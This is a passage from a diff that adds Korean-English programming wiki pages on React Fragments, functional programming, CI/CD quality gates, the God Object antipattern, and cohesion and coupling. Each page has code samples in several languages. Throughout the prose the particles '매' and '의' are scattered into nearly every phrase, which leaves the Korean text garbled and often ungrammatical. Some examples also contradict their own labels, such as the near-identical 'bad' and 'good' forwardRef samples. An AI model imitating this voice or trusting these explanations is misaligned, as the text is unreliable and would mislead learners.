// 매 wrapper div 매 tr 안 의 invalid HTML — 매 Fragment 의 only correct
|
||||
```
|
||||
|
||||
### CSS Grid items
|
||||
```tsx
|
||||
function GridGroup() {
|
||||
return (
|
||||
<>
|
||||
<div className="grid-item">A</div>
|
||||
<div className="grid-item">B</div>
|
||||
<div className="grid-item">C</div>
|
||||
</>
|
||||
);
|
||||
}
|
||||
|
||||
function Layout() {
|
||||
return (
|
||||
<div style={{ display: 'grid', gridTemplateColumns: 'repeat(3, 1fr)' }}>
|
||||
<GridGroup /> {/* 매 3 children 의 grid items 의 directly */}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
// 매 wrapper div 의 add 시 매 single grid cell 의 collapse
|
||||
```
|
||||
|
||||
### Conditional sibling rendering
|
||||
```tsx
|
||||
function Notification({ user }: { user?: User }) {
|
||||
if (!user) return null;
|
||||
return (
|
||||
<>
|
||||
{user.unreadCount > 0 && (
|
||||
<span className="badge">{user.unreadCount}</span>
|
||||
)}
|
||||
<span className="name">{user.name}</span>
|
||||
</>
|
||||
);
|
||||
}
|
||||
```
|
||||
|
||||
### Ref forwarding 매 NOT possible
|
||||
```tsx
|
||||
// 매 X — Fragment 매 ref 의 not-attach 의
|
||||
const Bad = forwardRef<HTMLDivElement>((props, ref) => (
|
||||
<>
|
||||
<h1 ref={ref}>Title</h1> {/* 매 child element 의 ref 의 forward 의 must */}
|
||||
<p>Body</p>
|
||||
</>
|
||||
));
|
||||
|
||||
// 매 O — 매 explicit child 의 ref 의 forward
|
||||
const Card = forwardRef<HTMLHeadingElement, { title: string; body: string }>(
|
||||
({ title, body }, ref) => (
|
||||
<>
|
||||
<h1 ref={ref}>{title}</h1>
|
||||
<p>{body}</p>
|
||||
</>
|
||||
),
|
||||
);
|
||||
```
|
||||
|
||||
### Suspense / ErrorBoundary 매 Fragment children
|
||||
```tsx
|
||||
function App() {
|
||||
return (
|
||||
<Suspense fallback={<Spinner />}>
|
||||
<>
|
||||
<Header />
|
||||
<Main />
|
||||
<Footer />
|
||||
</>
|
||||
</Suspense>
|
||||
);
|
||||
}
|
||||
// 매 Suspense 매 single child 의 not-require — 매 Fragment 의 N children 의 all 의 wait
|
||||
```
|
||||
|
||||
### Slot pattern 의 fragment-aware
|
||||
```tsx
|
||||
type SlotProps = { children: ReactNode };
|
||||
function Slot({ children }: SlotProps) {
|
||||
// 매 children 매 Fragment 매 single 매 multiple 매 unwrap 의 logic
|
||||
if (isValidElement(children) && children.type === Fragment) {
|
||||
return <>{children.props.children}</>;
|
||||
}
|
||||
return <>{children}</>;
|
||||
}
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Component 매 단일 root 의 natural | 매 `<div>` 의 use |
|
||||
| Wrapper div 매 layout 의 break | 매 Fragment |
|
||||
| Table / dl / select children | 매 Fragment 의 mandatory |
|
||||
| List item with multiple roots | 매 Fragment with key |
|
||||
| Ref / styling 의 root needed | 매 div / specific element 의 use |
|
||||
|
||||
**기본값**: 매 wrapper 매 semantic value 의 carry 의 div, 매 그렇지 않으면 매 Fragment.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[React]] · [[JSX]]
|
||||
- 변형: [[Slot-Pattern]]
|
||||
- 응용: [[CSS-Grid]] · [[Component-Composition]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 multi-root component. Table/Grid layout 의 wrapper 의 break 의 시. List item 매 multiple sibling 의 render.
|
||||
**언제 X**: 매 single root + ref/styling needed — 매 div 의 use. Wrapper 의 styling target 의 expected 시.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Wrapper div habit**: 매 모든 component 매 `<div>` 의 wrap — 매 div soup, 매 layout 의 fragile.
|
||||
- **Fragment without key in list**: 매 `<>` 매 `.map` 안 의 use — 매 React warning + reconciliation 의 broken.
|
||||
- **Trying to ref a Fragment**: 매 Fragment 의 DOM node 의 not-have — 매 forwardRef 의 specific child 의 forward 의 must.
|
||||
- **Fragment inside single-child API**: 매 some libs (older) 매 single child 의 expect — 매 Fragment 의 expand, 매 break.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (React docs "Fragments"; React 16.2 release notes).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — Fragment patterns + table/grid/key examples |
|
||||
+218
@@ -0,0 +1,218 @@
|
||||
---
|
||||
id: wiki-2026-0508-functional-programming
|
||||
title: Functional Programming
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [FP, Functional Programming, 함수형 프로그래밍]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [paradigm, programming, haskell, scala, rust]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: haskell
|
||||
framework: multi
|
||||
---
|
||||
|
||||
# Functional Programming
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 function이 first-class — 매 computation은 immutable value 의 transformation"**. 매 FP는 lambda calculus(Church 1936)에서 시작, Haskell/ML/Lisp 통해 academic 으로, 매 React/Redux/Rx 의 mainstream 침투. 2026 mainstream language 모두 FP feature 흡수 (lambdas, map/filter, immutable, pattern match).
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Pillars
|
||||
- **Pure function**: 매 same input → same output, no side effect
|
||||
- **Immutability**: 매 data 변경 대신 new value 생성
|
||||
- **First-class function**: 매 function = value (pass, return, store)
|
||||
- **Referential transparency**: 매 expression을 value로 substitute 가능
|
||||
- **Higher-order function**: 매 function in/out
|
||||
|
||||
### 매 Type system 매력
|
||||
- **ADT** (algebraic data types): sum (Either, Option) + product (tuple, record)
|
||||
- **Pattern matching**: 매 exhaustive case analysis
|
||||
- **Type inference**: 매 Hindley-Milner (ML, Haskell, Rust)
|
||||
- **Typeclasses** (Haskell) / Traits (Rust) / Type classes (Scala)
|
||||
|
||||
### 매 응용
|
||||
1. React functional components + hooks (modern frontend).
|
||||
2. Rust iterators + Option/Result (systems FP).
|
||||
3. Scala/Akka (distributed reactive).
|
||||
4. Haskell (compilers, finance, formal verification).
|
||||
5. F# (.NET FP, fintech).
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Haskell — pure + ADT
|
||||
```haskell
|
||||
data Tree a = Leaf | Node (Tree a) a (Tree a)
|
||||
|
||||
insert :: Ord a => a -> Tree a -> Tree a
|
||||
insert x Leaf = Node Leaf x Leaf
|
||||
insert x t@(Node l v r)
|
||||
| x < v = Node (insert x l) v r
|
||||
| x > v = Node l v (insert x r)
|
||||
| otherwise = t
|
||||
|
||||
-- 매 IO monad: side effect 격리
|
||||
main :: IO ()
|
||||
main = do
|
||||
putStrLn "Enter name:"
|
||||
name <- getLine
|
||||
putStrLn $ "Hello, " ++ name
|
||||
```
|
||||
|
||||
### Rust — iterators + Option
|
||||
```rust
|
||||
fn process(nums: Vec<i32>) -> Vec<i32> {
|
||||
nums.iter()
|
||||
.filter(|&&x| x > 0)
|
||||
.map(|&x| x * x)
|
||||
.take(10)
|
||||
.collect()
|
||||
}
|
||||
|
||||
// 매 Option chaining (no null)
|
||||
fn find_user(id: u64) -> Option<String> {
|
||||
db.get(id)
|
||||
.and_then(|u| u.email)
|
||||
.map(|e| e.to_lowercase())
|
||||
}
|
||||
```
|
||||
|
||||
### Scala — case class + pattern match
|
||||
```scala
|
||||
sealed trait Shape
|
||||
case class Circle(r: Double) extends Shape
|
||||
case class Rect(w: Double, h: Double) extends Shape
|
||||
|
||||
def area(s: Shape): Double = s match {
|
||||
case Circle(r) => math.Pi * r * r
|
||||
case Rect(w, h) => w * h
|
||||
}
|
||||
|
||||
// 매 immutable List + fold
|
||||
val sum = List(1, 2, 3, 4).foldLeft(0)(_ + _)
|
||||
```
|
||||
|
||||
### TypeScript — immutable + HOF
|
||||
```typescript
|
||||
// 매 readonly + pipe
|
||||
const pipe = <T>(...fns: Array<(x: T) => T>) =>
|
||||
(x: T): T => fns.reduce((v, f) => f(v), x);
|
||||
|
||||
const addOne = (n: number) => n + 1;
|
||||
const double = (n: number) => n * 2;
|
||||
const pipeline = pipe<number>(addOne, double);
|
||||
console.log(pipeline(3)); // 8
|
||||
|
||||
// 매 Result type (avoid throw)
|
||||
type Result<T, E> = { ok: true; value: T } | { ok: false; error: E };
|
||||
```
|
||||
|
||||
### Haskell — Functor / Monad
|
||||
```haskell
|
||||
-- 매 Maybe monad: null-safe chain
|
||||
safeDivide :: Double -> Double -> Maybe Double
|
||||
safeDivide _ 0 = Nothing
|
||||
safeDivide x y = Just (x / y)
|
||||
|
||||
calc :: Maybe Double
|
||||
calc = do
|
||||
a <- safeDivide 10 2
|
||||
b <- safeDivide a 0 -- 매 short-circuit Nothing
|
||||
return (b + 1)
|
||||
-- 매 result: Nothing
|
||||
```
|
||||
|
||||
### Elm — pure UI
|
||||
```elm
|
||||
type Msg = Increment | Decrement
|
||||
type alias Model = { count : Int }
|
||||
|
||||
update : Msg -> Model -> Model
|
||||
update msg model =
|
||||
case msg of
|
||||
Increment -> { model | count = model.count + 1 }
|
||||
Decrement -> { model | count = model.count - 1 }
|
||||
|
||||
view : Model -> Html Msg
|
||||
view model =
|
||||
div []
|
||||
[ button [ onClick Decrement ] [ text "-" ]
|
||||
, text (String.fromInt model.count)
|
||||
, button [ onClick Increment ] [ text "+" ]
|
||||
]
|
||||
```
|
||||
|
||||
### Python — functools (FP-lite)
|
||||
```python
|
||||
from functools import reduce, partial, lru_cache
|
||||
|
||||
# 매 immutable transform
|
||||
@lru_cache(maxsize=None)
|
||||
def fib(n: int) -> int:
|
||||
return n if n < 2 else fib(n-1) + fib(n-2)
|
||||
|
||||
# 매 currying via partial
|
||||
multiply = lambda x, y: x * y
|
||||
double = partial(multiply, 2)
|
||||
print(list(map(double, [1, 2, 3]))) # [2, 4, 6]
|
||||
|
||||
# 매 reduce
|
||||
product = reduce(lambda a, b: a * b, [1, 2, 3, 4], 1)
|
||||
```
|
||||
|
||||
### Persistent data structures (Clojure)
|
||||
```clojure
|
||||
(def v [1 2 3])
|
||||
(def v2 (conj v 4)) ; 매 v unchanged, structural sharing
|
||||
(println v) ; [1 2 3]
|
||||
(println v2) ; [1 2 3 4]
|
||||
|
||||
;; 매 transducer (composable transformation)
|
||||
(def xform (comp (filter odd?) (map #(* % %))))
|
||||
(transduce xform + [1 2 3 4 5]) ; 1 + 9 + 25 = 35
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | FP fit |
|
||||
|---|---|
|
||||
| Concurrent / parallel | High — immutability eliminates race |
|
||||
| Compilers / parsers | High — ADT + pattern match natural fit |
|
||||
| UI state management | High — Redux/Elm pure update |
|
||||
| Game loop (perf-critical) | Low — manual memory + mutation 필요 |
|
||||
| OS kernel / driver | Low — direct hardware control 필요 |
|
||||
| Domain modeling | High — ADT 가 매 invariants 표현 |
|
||||
|
||||
**기본값**: 매 mainstream language 에서 매 pure function preference + immutable default + side effect 격리.
|
||||
|
||||
## 🔗 Graph
|
||||
- 응용: [[프론트엔드_및_UIUX_표준|Redux]] · [[CQRS]]
|
||||
- Adjacent: [[Immutability]] · [[Type Theory]] · [[Algebraic Data Types]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: 매 refactor toward purity, type signature 설계, monad/applicative usage 설명.
|
||||
**언제 X**: 매 hot loop micro-opt — mutation + cache locality 가 더 빠름.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Premature abstraction**: 매 Functor/Monad 도입했는데 매 use case 1개 → 매 cognitive overhead.
|
||||
- **Pure obsession**: 매 logging/IO 도 monad transformer stack — 매 maintenance 지옥.
|
||||
- **Recursion without TCO**: 매 stack overflow (Python — TCO 없음).
|
||||
- **Over-currying**: 매 모든 function 1-arg curried → 매 readability 저하.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Hutton, "Programming in Haskell", 2nd ed., 2016).
|
||||
- Verified (Okasaki, "Purely Functional Data Structures", 1998).
|
||||
- Verified (Wadler, "Theorems for free!", 1989).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — pure FP + modern Haskell/Scala/Rust patterns |
|
||||
@@ -0,0 +1,159 @@
|
||||
---
|
||||
id: wiki-2026-0508-gates
|
||||
title: Gates
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Quality Gates, CI Gates, Release Gates]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, ci-cd, quality, governance]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: yaml
|
||||
framework: github-actions
|
||||
---
|
||||
|
||||
# Gates
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 quality gate 의 build/release 의 progress 의 block 의 conditional checkpoint 의 정의"**. 매 SonarQube popularization 의 origin (~2008), 매 modern CI/CD 의 essential part — 매 PR merge / deploy 의 prerequisite 의 automated assertion 의 set.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Gate 종류
|
||||
- **Build Gate**: compile + unit test pass.
|
||||
- **Quality Gate**: coverage ≥ 80%, no critical SonarQube issues.
|
||||
- **Security Gate**: SAST (Semgrep, CodeQL), SCA (Dependabot, Snyk), secret scan.
|
||||
- **Performance Gate**: bundle size, Lighthouse, p99 latency budget.
|
||||
- **Manual Approval Gate**: prod deploy 의 human reviewer.
|
||||
|
||||
### 매 Gate 위치
|
||||
- **PR Gate**: pre-merge — fast (<5 min).
|
||||
- **Main Branch Gate**: post-merge — heavier (E2E, integration).
|
||||
- **Release Gate**: pre-deploy — canary metrics, smoke tests.
|
||||
- **Production Gate**: post-deploy — error rate watcher, auto-rollback.
|
||||
|
||||
### 매 응용
|
||||
1. SonarQube Quality Gate (coverage / duplication / issues).
|
||||
2. GitHub branch protection rules.
|
||||
3. ArgoCD sync waves with health gates.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### GitHub Actions Quality Gate
|
||||
```yaml
|
||||
name: PR Gate
|
||||
on: pull_request
|
||||
jobs:
|
||||
gate:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with: { node-version: 20 }
|
||||
- run: npm ci
|
||||
- run: npm test -- --coverage
|
||||
- name: Coverage gate
|
||||
run: |
|
||||
COV=$(jq '.total.lines.pct' coverage/coverage-summary.json)
|
||||
if (( $(echo "$COV < 80" | bc -l) )); then
|
||||
echo "Coverage $COV% < 80%"; exit 1
|
||||
fi
|
||||
- uses: github/codeql-action/analyze@v3
|
||||
```
|
||||
|
||||
### SonarQube Quality Gate
|
||||
```yaml
|
||||
- uses: SonarSource/sonarqube-scan-action@v3
|
||||
env:
|
||||
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
|
||||
- uses: SonarSource/sonarqube-quality-gate-action@v1
|
||||
timeout-minutes: 5
|
||||
env:
|
||||
SONAR_TOKEN: ${{ secrets.SONAR_TOKEN }}
|
||||
```
|
||||
|
||||
### Bundle Size Gate
|
||||
```yaml
|
||||
- uses: andresz1/size-limit-action@v1
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
skip_step: install
|
||||
```
|
||||
|
||||
### Manual Approval Gate (GitHub Environments)
|
||||
```yaml
|
||||
deploy-prod:
|
||||
environment:
|
||||
name: production
|
||||
url: https://app.example.com
|
||||
runs-on: ubuntu-latest
|
||||
needs: [test, security]
|
||||
steps:
|
||||
- run: ./deploy.sh prod
|
||||
```
|
||||
Configured in repo Settings → Environments → required reviewers.
|
||||
|
||||
### ArgoCD Sync Wave Gate
|
||||
```yaml
|
||||
metadata:
|
||||
annotations:
|
||||
argocd.argoproj.io/sync-wave: "1"
|
||||
argocd.argoproj.io/hook: PreSync
|
||||
argocd.argoproj.io/hook-delete-policy: BeforeHookCreation
|
||||
```
|
||||
|
||||
### Canary Gate (Argo Rollouts)
|
||||
```yaml
|
||||
strategy:
|
||||
canary:
|
||||
steps:
|
||||
- setWeight: 10
|
||||
- pause: { duration: 5m }
|
||||
- analysis:
|
||||
templates: [{ templateName: success-rate }]
|
||||
- setWeight: 50
|
||||
- pause: { duration: 10m }
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Fast PR feedback | unit + lint + type only (<3 min) |
|
||||
| Compliance-heavy | SAST + SCA + license + signed commits |
|
||||
| High-traffic prod | canary + auto-rollback gate |
|
||||
| Monorepo | path-filtered gates (only run affected) |
|
||||
|
||||
**기본값**: PR gate (lint+test+typecheck) → main gate (E2E+coverage) → prod gate (manual approval+canary).
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[CI-CD]] · [[DevOps]]
|
||||
- 변형: [[Quality-Gate]]
|
||||
- 응용: [[GitHub-Actions]] · [[ArgoCD]] · [[SonarQube]]
|
||||
- Adjacent: [[Trunk-Based-Development]] · [[Feature-Flags]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: gate 의 thresholds 의 review, gate config 의 generation, failure log 의 root cause 의 analysis.
|
||||
**언제 X**: gate policy 의 organizational decision (compliance, risk tolerance) — human ownership 필요.
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Gate inflation**: 매 PR 의 30+ checks → developer frustration, gaming via skip flags.
|
||||
- **Flaky gates**: intermittent failures 의 normalize → real failures 의 ignore.
|
||||
- **Bypass culture**: admin 의 "merge anyway" 의 routine usage.
|
||||
- **No rollback gate**: deploy 후 metrics 의 watch 없이 → bad release 의 prolong.
|
||||
- **Unmeasured threshold**: "good enough" coverage % 의 arbitrary 의 set.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Google SRE Book, GitHub branch protection docs, SonarQube Quality Gates).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — quality gates / CI gates 의 full content |
|
||||
+185
@@ -0,0 +1,185 @@
|
||||
---
|
||||
id: wiki-2026-0508-god-object-antipattern
|
||||
title: God Object Antipattern
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [God Class, Blob, Monster Class]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.9
|
||||
verification_status: applied
|
||||
tags: [architecture, antipattern, oop, refactoring, code-smell]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: language-agnostic
|
||||
---
|
||||
|
||||
# God Object Antipattern
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 single class/module 의 too many responsibilities 의 absorption 의 통한 maintainability 의 collapse"**. 매 Brown et al. "AntiPatterns" (1998) 의 catalog, 매 procedural code 의 OOP 로 의 lift-and-shift 의 결과 — 매 modern microservices 시대 의 "God Service" 로 의 mutation.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Symptoms
|
||||
- 1000+ LOC class, 50+ methods.
|
||||
- 매 unrelated domain 의 mix (User + Order + Payment + Logging).
|
||||
- 매 import 의 fan-in 의 high — 매 module 의 reference 의 most.
|
||||
- Test 의 setup 의 100+ lines mock.
|
||||
- Git log 의 churn 의 highest hot-spot.
|
||||
|
||||
### 매 Causes
|
||||
- SRP (Single Responsibility) 의 violation.
|
||||
- Premature centralization ("Manager", "Controller", "Helper" suffix).
|
||||
- Feature 의 incremental 의 add 의 always-cheapest-place 의 dump.
|
||||
- Refactoring fear (test 의 X, dependency 의 web).
|
||||
|
||||
### 매 응용 (detection)
|
||||
1. SonarQube "Brain Class" rule.
|
||||
2. Lizard / radon 의 cyclomatic + LOC metric.
|
||||
3. CodeScene hotspot map.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Smell — God Class
|
||||
```typescript
|
||||
// 🚨 God Object
|
||||
export class ApplicationManager {
|
||||
users: User[] = [];
|
||||
orders: Order[] = [];
|
||||
cart: Cart;
|
||||
paymentGateway: Stripe;
|
||||
logger: Logger;
|
||||
cache: Redis;
|
||||
// ... 47 more fields
|
||||
|
||||
registerUser(...) { /* 80 lines */ }
|
||||
authenticateUser(...) { /* 60 lines */ }
|
||||
createOrder(...) { /* 120 lines, calls payment, cache, log */ }
|
||||
refundOrder(...) { /* 90 lines */ }
|
||||
sendEmail(...) { /* 40 lines */ }
|
||||
generateReport(...) { /* 200 lines */ }
|
||||
// ... 50 more methods
|
||||
}
|
||||
```
|
||||
|
||||
### Refactor — Extract Class (SRP)
|
||||
```typescript
|
||||
export class UserService {
|
||||
constructor(private repo: UserRepository, private hasher: PasswordHasher) {}
|
||||
async register(input: RegisterInput) { /* ... */ }
|
||||
async authenticate(creds: Credentials) { /* ... */ }
|
||||
}
|
||||
|
||||
export class OrderService {
|
||||
constructor(
|
||||
private repo: OrderRepository,
|
||||
private payment: PaymentGateway,
|
||||
private events: EventBus,
|
||||
) {}
|
||||
async create(input: CreateOrderInput) { /* ... */ }
|
||||
async refund(orderId: string) { /* ... */ }
|
||||
}
|
||||
|
||||
export class ReportingService { /* ... */ }
|
||||
```
|
||||
|
||||
### Replace Conditional with Polymorphism
|
||||
```typescript
|
||||
// Before: god method 의 switch
|
||||
processPayment(method: string, amount: number) {
|
||||
if (method === 'card') { /* ... */ }
|
||||
else if (method === 'paypal') { /* ... */ }
|
||||
else if (method === 'crypto') { /* ... */ }
|
||||
}
|
||||
|
||||
// After: Strategy
|
||||
interface PaymentMethod { charge(amount: number): Promise<Receipt>; }
|
||||
class CardPayment implements PaymentMethod { /* ... */ }
|
||||
class PayPalPayment implements PaymentMethod { /* ... */ }
|
||||
class CryptoPayment implements PaymentMethod { /* ... */ }
|
||||
|
||||
class PaymentService {
|
||||
constructor(private methods: Map<string, PaymentMethod>) {}
|
||||
charge(method: string, amount: number) {
|
||||
return this.methods.get(method)!.charge(amount);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Extract Aggregate (DDD)
|
||||
```typescript
|
||||
// God 의 split → Aggregate Root + Value Objects
|
||||
export class Order {
|
||||
private constructor(
|
||||
public readonly id: OrderId,
|
||||
private items: LineItem[],
|
||||
private status: OrderStatus,
|
||||
) {}
|
||||
|
||||
static create(customerId: CustomerId, items: LineItem[]): Order { /* ... */ }
|
||||
addItem(item: LineItem) { /* invariant 의 enforce */ }
|
||||
confirm(): DomainEvent[] { /* ... */ }
|
||||
}
|
||||
```
|
||||
|
||||
### ESLint Rule (max-lines-per-function/class)
|
||||
```json
|
||||
{
|
||||
"rules": {
|
||||
"max-lines": ["error", { "max": 400, "skipBlankLines": true }],
|
||||
"max-lines-per-function": ["error", 60],
|
||||
"complexity": ["error", 10]
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### SonarQube Detection
|
||||
```properties
|
||||
sonar.cpd.exclusions=**/*.test.ts
|
||||
# Rule: java:S2972 (Inner classes should not have too many lines)
|
||||
# Rule: typescript:S138 (Functions should not have too many lines)
|
||||
# Rule: common:DuplicatedBlocks
|
||||
```
|
||||
|
||||
## 매 결정 기준
|
||||
| 상황 | Approach |
|
||||
|---|---|
|
||||
| Class > 500 LOC | Extract Class by responsibility |
|
||||
| Method > 60 LOC | Extract Method, Replace Temp with Query |
|
||||
| Long parameter list | Introduce Parameter Object |
|
||||
| Switch on type | Replace Conditional with Polymorphism |
|
||||
| Cross-domain mix | Extract Bounded Context (DDD) |
|
||||
|
||||
**기본값**: 매 SRP — 매 class 의 one reason to change.
|
||||
|
||||
## 🔗 Graph
|
||||
- 부모: [[Code-Smells]]
|
||||
- 변형: [[Big-Ball-of-Mud]] · [[Distributed-Monolith]]
|
||||
- 응용: [[Refactoring_Best_Practices|Refactoring]] · [[SOLID]] · [[DDD]]
|
||||
- Adjacent: [[High-Cohesion-Low-Coupling]] · [[Single Responsibility Principle (SRP)|Single-Responsibility-Principle]] · [[Bounded-Context]]
|
||||
|
||||
## 🤖 LLM 활용
|
||||
**언제**: god class 의 detect, extract-class 의 refactor 의 suggest, responsibility 의 cluster 의 propose.
|
||||
**언제 X**: 매 large refactor 의 final commit (test coverage 의 human verification 필수).
|
||||
|
||||
## ❌ 안티패턴
|
||||
- **Manager/Helper suffix**: 매 dumping ground 의 invitation.
|
||||
- **Static God**: `Utils` static class 의 grow → 매 testability 의 destroy.
|
||||
- **God Service**: microservice 시대 의 god — single service 의 매 domain 의 own.
|
||||
- **Refactor without tests**: 매 god 의 split 의 시 behavior 의 break 의 silent.
|
||||
- **Premature split**: 매 50 LOC class 의 over-decompose → 매 anemic + indirection 의 hell.
|
||||
|
||||
## 🧪 검증 / 중복
|
||||
- Verified (Brown et al. "AntiPatterns" 1998, Fowler "Refactoring" 2nd ed., SonarSource rules).
|
||||
- 신뢰도 A.
|
||||
|
||||
## 🕓 Changelog
|
||||
| 날짜 | 변경 |
|
||||
|---|---|
|
||||
| 2026-05-08 | Phase 1 |
|
||||
| 2026-05-10 | Manual cleanup — god object antipattern 의 full content |
|
||||
+173
@@ -0,0 +1,173 @@
|
||||
---
|
||||
id: wiki-2026-0508-high-cohesion-low-coupling
|
||||
title: High Cohesion Low Coupling
|
||||
category: 10_Wiki/Topics
|
||||
status: verified
|
||||
canonical_id: self
|
||||
aliases: [Cohesion and Coupling, Loose Coupling High Cohesion]
|
||||
duplicate_of: none
|
||||
source_trust_level: A
|
||||
confidence_score: 0.95
|
||||
verification_status: applied
|
||||
tags: [architecture, design-principles, modularity, oop, refactoring]
|
||||
raw_sources: []
|
||||
last_reinforced: 2026-05-10
|
||||
github_commit: pending
|
||||
tech_stack:
|
||||
language: typescript
|
||||
framework: language-agnostic
|
||||
---
|
||||
|
||||
# High Cohesion Low Coupling
|
||||
|
||||
## 매 한 줄
|
||||
> **"매 module 내부 의 element 의 strong relatedness (cohesion) + module 간 의 minimal dependency (coupling) 의 maximize"**. 매 Larry Constantine 의 1968 structured design 의 origin, 매 modern 의 SOLID, DDD bounded context, microservices 의 universal foundation — 매 changeability 의 single 의 most important predictor.
|
||||
|
||||
## 매 핵심
|
||||
|
||||
### 매 Cohesion 7 levels (Constantine, low → high)
|
||||
1. Coincidental (random grouping).
|
||||
2. Logical (similar category, e.g., "Utils").
|
||||
3. Temporal (executed at same time).
|
||||
4. Procedural (sequence of steps).
|
||||
5. Communicational (act on same data).
|
||||
6. Sequential (output of one → input of next).
|
||||
7. **Functional** (single, well-defined task) — 매 target.
|
||||
|
||||
### 매 Coupling 6 levels (low → high)
|
||||
1. **Data** (parameters of primitives) — 매 ideal.
|
||||
2. Stamp (parameters of composite).
|
||||
3. Control (flag-driven branching).
|
||||
4. External (shared protocol).
|
||||
5. Common (shared global).
|
||||
6. Content (one module 의 internals 의 mutate) — 매 worst.
|
||||
|
||||
### 매 응용
|
||||
1. Module boundary 의 design.
|
||||
2. Microservice 의 split criteria (DDD bounded context).
|
||||
3. Refactoring 의 direction-finder.
|
||||
|
||||
## 💻 패턴
|
||||
|
||||
### Smell — Low Cohesion
|
||||
```typescript
|
||||
// 🚨 Logical cohesion only
|
||||
export class Utils {
|
||||
formatDate(d: Date) { /* ... */ }
|
||||
parseCSV(s: string) { /* ... */ }
|
||||
hashPassword(p: string) { /* ... */ }
|
||||
sendEmail(to: string) { /* ... */ }
|
||||
}
|
||||
```
|
||||
|
||||
### Refactor — Functional Cohesion
|
||||
```typescript
|
||||
// formatting/date.ts
|
||||
export const formatISO = (d: Date) => d.toISOString().slice(0, 10);
|
||||
|
||||
// parsing/csv.ts
|
||||
export const parseCSV = (s: string) => /* ... */;
|
||||
|
||||
// auth/password.ts
|
||||
export const hashPassword = (p: string) => bcrypt.hash(p, 12);
|
||||
|
||||
// email/send.ts
|
||||
export const sendEmail = (to: string, body: string) => transporter.send(/* ... */);
|
||||
```
|
||||
|
||||
### Smell — High Coupling (Content)
|
||||
```typescript
|
||||
class OrderService {
|
||||
constructor(private inventory: InventoryService) {}
|
||||
reserve(id: string) {
|
||||
// 🚨 Reaches into private state
|
||||
this.inventory['stock'].set(id, 0);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Refactor — Data Coupling via Interface
|
||||
```typescript
|
||||
interface InventoryPort {
|
||||
reserve(sku: string, qty: number): Promise<ReservationId>;
|
||||
}
|
||||
|
||||
class OrderService {
|
||||
constructor(private inventory: InventoryPort) {}
|
||||
async reserve(sku: string, qty: number) {
|
||||
return this.inventory.reserve(sku, qty);
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### Dependency Inversion (Hexagonal)
|
||||
```typescript
|
||||
// domain/order.ts (no infra import)
|
||||
export interface OrderRepository {
|
||||
save(o: Order): Promise<void>;
|
||||
byId(id: string): Promise<Order | null>;
|
||||
}
|
||||
|
||||
// infra/postgres-order-repo.ts
|
||||
export class PostgresOrderRepository implements OrderRepository { /* ... */ }
|
||||
|
||||
// app/wire.ts
|
||||
const repo: OrderRepository = new PostgresOrderRepository(pool);
|
||||
const svc = new OrderService(repo);
|
||||
```
|
||||
|
||||
### Event-Driven Decoupling
|
||||
```typescript
|
||||
// publisher
|
||||
